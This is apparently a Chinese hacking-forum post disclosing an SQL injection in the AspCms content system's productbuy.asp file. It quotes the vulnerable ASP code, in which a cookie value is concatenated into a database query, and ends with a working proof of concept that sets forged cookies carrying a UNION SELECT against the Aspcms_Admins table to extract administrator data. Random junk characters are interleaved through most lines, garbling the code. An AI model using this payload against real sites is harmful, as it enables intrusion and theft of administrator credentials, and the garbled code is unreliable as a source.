好久没上土司了,上来一看发现在删号名单内.....
, E) r9 Z( e* [- c& k2 C$ o1 o1 p' d也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
# |$ a7 E/ F" j. N4 E& r! Q% \, p4 i废话不多说,看代码:
; ^6 V- ~, n# u. R# N" m. U$ z/ L; S! r
<%
# r2 G' L3 i! C# Q% R9 }6 ~/ o( Z- h6 y, m
if action = "buy" then
% N, T4 Q$ O5 Q# f* R& K5 P: V, H+ M/ o" @+ @! Z
addOrder()
; _1 T+ e3 c$ n/ Q" J9 p
' b# W: t# h+ i0 p. k }2 selse3 W1 w: j V. L& l$ @
9 q" z) T# Y& K+ k- F7 {; X8 G0 x echoContent()6 ?1 i4 @8 ^$ B
: h6 s% a8 b2 i$ P% h- O; L( c& @
end if ^# s: A# V; S8 e3 }# y
, c6 d: L, ]- F$ o0 ?2 Q
5 c, p2 }' C1 \) ?
4 ^& v0 h9 m- A2 u0 e) E4 s……略过# P6 f2 [$ a! V0 f; y
1 }6 T/ @8 H6 Q
* o6 X/ N& W ^3 {, [% i* Z! F4 E
Sub echoContent()
- W" _$ g% z7 a" J. E
O5 o& q4 b3 R7 k. O" a dim id" C$ ?- M2 G2 k- \# a. B4 X
( U+ h! o1 |* D) [+ K) C8 O
id=getForm("id","get")
9 U, W* v+ n, I* ?* V0 t4 R, O" O0 P( I* S2 j
' E% f" g1 H% R" w6 l% t$ j9 O9 i6 `8 p5 @4 L+ L/ p2 u6 D' z
if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
6 H- E; K% c$ i- r P F4 e5 H; Y. r; c0 R, K
0 q4 ?8 a" K; L( U) e' A1 j; i4 I; L6 b. D
dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")& D. z, g6 h* f
/ k5 C4 w2 P( W5 c7 C- g dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
$ a) e2 a% W: Z3 [+ l* k
% z( c* \) h0 W) a$ d Dim templatePath,tempStr+ K+ h* ^7 F2 S% p( c$ C
' i% X h& q/ J5 j
templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
& l& o$ Q" F$ \6 m ?( |- n2 v; B: R5 `$ g
* a& h: b6 R8 ~! r& J% k8 M- v/ L% Y `2 g2 O9 B8 X9 e; A- p7 G. v
set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
0 F0 y/ v# g& W% \) H* S. i' t- w \1 P
selectproduct=rsObj(0)
- g) w) c* P- o$ a3 U4 }# t6 j2 R$ I1 i$ s- V \
4 S# o# s6 H) p& ]* X
; o$ _' F. k9 y/ ?+ p Dim linkman,gender,phone,mobile,email,qq,address,postcode
) }* [& n7 q2 M; }! K9 D" _. f* M) B' ^! u/ J r% a+ o
if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0& b- `7 v/ _+ N9 w g
9 T7 J9 g" `( Y* ?. R
if rCookie("loginstatus")=1 then 0 U! `; ], I1 t; u* l
0 |% b1 f* N* F$ `
set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")/ N! v0 V/ I; @! _
+ z' B/ Y6 m2 Z, K$ } linkman=rsObj("truename")# w0 \; i) y3 [
5 Z8 W! W0 {/ k: q gender=rsObj("gender")
9 {) d0 F; l6 s0 I% i1 l
& b: B9 B: @4 j! g1 ~ phone=rsObj("phone")
, Q* U" n |9 `0 s E9 k" _) O) l3 h: L$ w* K
mobile=rsObj("mobile")6 B- p8 a9 N( X$ l2 h: E; y5 i5 w' W
' [* ^: }! y4 I1 T; a email=rsObj("email")/ e. \) D9 K4 g/ S( n1 @5 }
! f* w- Z; b. C qq=rsObj("qq")
. p7 V* ~% `( m! w
0 @& q$ ?4 R: _5 c4 W7 r address=rsObj("address")7 S, U {- W/ {6 C n
$ m3 v J3 F' O+ s2 S! a `6 g postcode=rsObj("postcode")
0 ?" ^) Z$ D5 s* ^
/ O7 j9 w4 v) I' O else ) \4 e" O2 T5 X
% q/ A* |$ B. J' f3 t" r
gender=14 s* O7 A( {, Z m3 |. ?; i
0 j& V6 q0 H2 N6 W4 ]9 F4 j end if
- g) Z5 }! I: M9 t/ R0 H8 Y( q
; p: K5 k& q3 |8 T+ l1 v. i& q" N rsObj.close()4 q1 u' Q9 W% ], @/ k! r
: F. D* p7 J2 i( ~! g
2 M9 M0 {* A+ A; C- Z, `; j$ n/ P0 z& L) `' C- `( a
with templateObj % c0 ]( M. Q N
# \' F5 m* n$ j/ L6 } .content=loadFile(templatePath)
6 a6 z; |7 }4 u+ m& R! b7 j0 G! N1 R) S, u! t; P) |2 V
.parseHtml()
5 s* {1 Q; s3 l3 O' N
, \4 X0 ?2 q5 e5 C4 B .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
$ s7 t! L( D, R6 S7 e5 l% j Y% Z' o$ q
.content=replaceStr(.content,"[aspcms:linkman]",linkman)
8 {/ ]- v0 ?: A8 T: m* h* g# w+ k- w& t$ h0 j
.content=replaceStr(.content,"[aspcms:gender]",gender)
; _* z" X' o; x: j: e' G/ C2 [ H& p
! ~3 q# r& a; U' g1 y- U: l .content=replaceStr(.content,"[aspcms:phone]",phone) ) A7 j" [1 W$ l. X" ?0 o
6 \. Z. m u0 j) Y6 q+ O) }
.content=replaceStr(.content,"[aspcms:mobile]",mobile) ( _( f8 t `' a
8 J8 U9 r; o6 N( \
.content=replaceStr(.content,"[aspcms:email]",email)
$ R1 I9 Z& e- B' m$ W2 ~0 S9 w
3 r% Y: e2 `# Z- b& a .content=replaceStr(.content,"[aspcms:qq]",qq)
; s0 x- ?8 J& U7 S! `- [, C' f6 c% ?8 r3 \+ A# q
.content=replaceStr(.content,"[aspcms:address]",address) / O9 X/ s8 s3 ~
2 |) Q; u t0 H- w) o
.content=replaceStr(.content,"[aspcms:postcode]",postcode) 8 O' d& x4 m8 C6 w9 }
0 S' @2 S- ^2 c0 ]7 u! M: R
.parseCommon() 2 V0 m% q, ~/ ]; J$ ?& y0 x- a: B
! i# V' S% T1 e; ]# @4 L echo .content
5 n& r' p6 \6 R, {
, b& f8 G0 a6 f: \, J; y& H6 x end with" u) n. O4 a$ \8 ~* F
7 i( ^3 i( J( n* M! T set templateobj =nothing : terminateAllObjects* N$ Z6 r" e- w3 C3 V k
4 v1 B& m$ I5 x/ c
End Sub# A7 o7 S* [" r! @! Q* _- S* G9 l
漏洞很明显,没啥好说的) \* D1 I* c/ h+ |
poc:5 a, I6 D# J: `& S- e
: C) F( m/ S$ A. {, o' L2 ]javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子
@) X! J. H" A# y8 e3 Z- X: p3 t* ?* e u+ J, E! Y
|